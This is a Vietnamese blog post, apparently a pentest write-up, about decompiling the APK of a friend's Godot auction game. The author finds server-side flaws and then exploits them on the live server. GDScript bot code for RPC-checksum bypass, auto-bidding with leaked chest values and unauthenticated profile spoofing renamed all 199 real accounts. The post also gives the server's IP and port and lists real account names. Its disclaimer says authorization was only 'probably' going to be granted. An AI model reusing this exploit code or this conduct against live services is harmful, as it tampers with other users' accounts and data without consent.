Hack Game Vua Đấu Giá Online: Từ APK tới Chiếm 199 Tài Khoản
Decompile APK game Godot, tìm 13 lỗ hổng bảo mật từ leak giá trị rương tới profile spoofing, viết bot auto-farm và đổi tên toàn bộ 199 tài khoản trên server.
Tối hôm trước đang rảnh lướt Facebook thì thấy bài post của bro Nam Ếch - đang khoe game mới làm tên Vua Đấu Giá Online, kèm link APK cho anh em tải về chơi thử. Game đấu giá multiplayer, nhìn artwork khá cute, concept cũng lạ nên mình kéo về cài thử xem thế nào.

Gameplay thì chưa kịp trải nghiệm nhiều - tìm trận mãi không thấy ai match cả, có lẽ vì game mới ra chưa có nhiều người chơi cùng lúc. Đang rảnh, vui vui mình nghĩ: "Thôi thử chọt nó xem sao." Cái tính pentester nó vậy - thấy cái gì cũng muốn mổ ra xem bên trong có gì.
Kết quả? Từ một file APK, mình decompile toàn bộ source code, tìm ra 13 lỗ hổng bảo mật, viết bot auto-farm tiền, và cuối cùng đổi tên toàn bộ 199 tài khoản trên server thành một cái tên duy nhất.
Ngày hôm sau, Nam Ếch đăng thêm bài - hỏi anh em có ai "chọc" được vào Database không, xin ít hint để def. Mình nhìn thấy cái tên "DũngCTThầmYêuRiku" trên thẻ thông tin nhân vật mà cười. Đó là cái tên mà 199 account trên server giờ đều mang.

Anh em muốn thử game thì tải APK tại đây.
Chúc bro Nam Ếch làm game ngon nghẻ - ý tưởng đấu giá PvP khá thú vị, artwork đẹp, concept có tiềm năng. Nếu thêm cơ chế skills/perks cho nhân vật (kiểu kéo búa bao - mỗi skill counter một chiến thuật khác) thì gameplay sẽ có chiều sâu chiến thuật hơn nhiều, không chỉ thuần đoán giá. Còn về bảo mật thì... đọc tiếp bên dưới, mình liệt kê hết rồi.
Mổ APK ra xem có gì

Giải nén APK ra thì thấy trong folder assets/ có một loạt file .gdc - đây là GDScript bytecode, dấu hiệu đặc trưng của Godot Engine:
assets/NetworkManager.gdc (20,984 bytes)
assets/ThiDau.gdc
assets/global.gdc
assets/Lobby.gdc
assets/Bootstrap.gdc
...
Kèm theo lib/arm64-v8a/libgodot_android.so (~70MB) - Godot runtime cho Android. Game cũng có hệ thống patch: khi khởi động, client check http://103.67.197.142/version.json rồi tải file .pck (Godot PCK format, tải từ http://103.67.197.142/patch_v1_2_1_and.pck) về ghi đè code cũ. Mình tải patch mới nhất (patch_v1_2_1_and.pck, 49MB) rồi dùng GDRE Tools v2.5.0-beta.4 decompile:
gdre_tools.x86_64 --headless --recover="patch_v1_2_1_and.pck" --output-dir=/tmp/extracted/

Vài giây sau là có toàn bộ source code game (cảm ơn Nam Ếch đã opensource project này) - cả logic server lẫn client nằm trong cùng một codebase. Mở NetworkManager.gd ra, thấy ngay:
const PORT = 11111
const SERVER_IP = "103.67.197.142"
Game dùng ENet protocol (UDP-based multiplayer) thay vì HTTP REST API. Mọi giao tiếp client-server đều qua RPC calls của Godot. Scan nhanh server thì thấy port 22 (SSH), port 80 (nginx phục vụ file patch game), và port 11111 - chính là game server. Attack surface nằm hết ở đây.
Đọc source code
Trước khi đào sâu, cần hiểu game chơi thế nào đã. Vua Đấu Giá là game đấu giá PvP: 2-5 người chơi vào phòng, mỗi vòng server tạo một rương đồ chứa item ngẫu nhiên. Rương có giá trị thực nhưng người chơi không biết - phải đặt giá mù. Ai đặt cao nhất thì "mua" rương, mua rẻ hơn giá trị thực thì lãi, ngược lại thì lỗ. 5 vòng/trận, ai còn nhiều tiền nhất thắng. Bản chất là game đánh cược dựa trên cảm tính.
Server gửi đáp án trước khi đấu
Trong ThiDau.gd, khi server tạo rương xong:

NetworkManager.rpc_id(p_id, "client_nhan_ruong", current_chest_items, true_chest_value)
Server gửi true_chest_value - giá trị thật của rương - cho client TRƯỚC KHI vòng đấu giá bắt đầu. Client bình thường dùng giá trị này để hiển thị animation mở rương, nhưng với bot thì đây là bài toán đã có đáp án: biết rương trị giá bao nhiêu, đặt giá thấp hơn một chút, lãi 100% mọi trận.
Bid bao nhiêu cũng được, server không kiểm tra
Hàm xử lý đặt giá phía server trông thế này:

Server nhận price từ client và lưu thẳng. Không check price > 0, không check price <= player_money, không check kiểu dữ liệu. Validation duy nhất nằm ở client:

Client-side validation = không có validation. Mình có thể gửi bid âm, bid zero, bid vượt số dư - server nuốt hết.
Đổi tên bất kỳ ai trên server, Đối với tôi thì đây là phần vui nhất =))
Hàm cập nhật hồ sơ là nơi mình tìm được lỗ hổng thú vị nhất:

p_acc - tên tài khoản - do client gửi lên, và server không hề kiểm tra xem p_acc có phải là tài khoản của người gọi hay không. Nghĩa là bất kỳ client nào cũng có thể truyền p_acc của người khác vào, đổi tên và avatar của họ thoải mái. Thay đổi được ghi thẳng vào file JSON và lưu vĩnh viễn.
Viết bot client
Vượt rào RPC Checksum
Godot 4.x có một cơ chế bảo vệ: client và server phải có cùng danh sách RPC functions trên cùng node path. Thiếu hoặc thừa dù chỉ 1 hàm, server reject hết. Server có 36 hàm RPC trên node /root/NetworkManager, nên bot client cũng phải khai báo đúng 36 hàm với cùng @rpc() annotations - dù phần lớn chỉ là stub rỗng:
@rpc("authority", "call_local", "reliable")
func dong_bo_du_lieu_ve_client(uid, money, ho_so, avatar, ten):
my_money = int(money)
@rpc("any_peer", "call_remote", "reliable")
func gui_ho_so_len_server(p_acc, p_name, p_avatar, ...):
pass # Stub - chỉ cần tồn tại cho checksum match
# ... 34 hàm khác tương tự
Đây là phần tốn thời gian nhất - phải extract chính xác từ decompiled code, sai tên hàm hay sai annotation là bị reject ngay.
Đăng ký tài khoản và auto-farm
Không có API HTTP nào cả. Đăng ký tài khoản = kết nối ENet + gọi RPC:
func _on_connected():
var password_hash = "mypassword".sha256_text()
register_player_on_server.rpc_id(1,
"myaccount", password_hash, "MyName",
0, "register", "v1.21"
)
Server hash password thêm một lần nữa (SHA256(SHA256(password))) rồi lưu. Không salt, không bcrypt - nhưng đó là chuyện nhỏ so với những lỗ hổng logic ở trên.
Phần auto-farm thì đơn giản một khi đã biết giá trị rương:
@rpc("authority", "call_local", "reliable")
func client_nhan_ruong(items_data, total_val):
chest_value = int(total_val)
func _auto_bid():
var bid_ratio = 0.7 + (current_vong * 0.03)
var optimal_bid = int(chest_value * bid_ratio)
nhan_gia_tu_doi_thu_server.rpc_id(1, optimal_bid)

Đặt 70-85% giá trị thực, tăng dần theo vòng. Người chơi bình thường đoán mò, bot biết chính xác - lãi toán học mọi trận.
Đổi tên 199 tài khoản
Khi login, server tự động broadcast bảng xếp hạng chứa toàn bộ thông tin người chơi:

Chỉ cần login một lần là dump được toàn bộ 199 tài khoản kèm tên, số tiền, lịch sử trận đấu. Có danh sách rồi thì exploit profile spoofing - gọi gui_ho_so_len_server với p_acc là từng tài khoản:
for acc in accounts_to_rename:
gui_ho_so_len_server.rpc_id(1,
acc, # account bất kỳ - KHÔNG CẦN auth
"DũngCTThầmYêuRiku", # tên mới
0, # avatar
0, 0.0, 0, 0, 0 # stats (bị ignore nhưng phải truyền)
)
await get_tree().create_timer(0.05).timeout
50ms giữa mỗi request, server ghi đè tên rồi lưu file JSON. Thay đổi vĩnh viễn.

Verify lại bảng xếp hạng:
#1 | DũngCTThầmYêuRiku (acc:namechday) | $21,156,376
#2 | DũngCTThầmYêuRiku (acc:hieukrb111) | $19,122,508
#3 | DũngCTThầmYêuRiku (acc:remmu123) | $15,107,496
...
#199| DũngCTThầmYêuRiku (acc:12345678999) | $544,112
Total: 199 players - 199/199 renamed ✓
Lời cuối
Tôi thấy game khá thú vị và tiềm năng co-op hoặc board game cũng có thể khá vui. Tôi vẫn nghĩ nó nên có thêm skills hoặc perk để có thêm tính bất ngờ hoặc chiến lược.
Đến giờ tôi vẫn xem lại những video của team Đụt chơi với nhau từ hơn 5 năm trước (Project Winter), tôi thích cái không khí kiểu đấy. Cái không khí của tôi hồi đi net chơi game với đám bạn mà giờ chắc không thể quay lại nữa
Tools
- GDRE Tools v2.5.0-beta.4 - Decompile Godot 4.5 bytecode
- Godot Engine 4.5.1 (headless) - Chạy bot client không cần GUI
- rustscan + nmap - Port scanning
- Shodan - OSINT, tìm historical ports
- Python + Rich - Dashboard monitoring bot
Full source code: https://github.com/maycuatroi1/vuadaugia
Disclaimer: Bài viết phục vụ mục đích nghiên cứu bảo mật. Mọi kỹ thuật được thực hiện trong phạm vi chắc là sẽ được ủy quyền.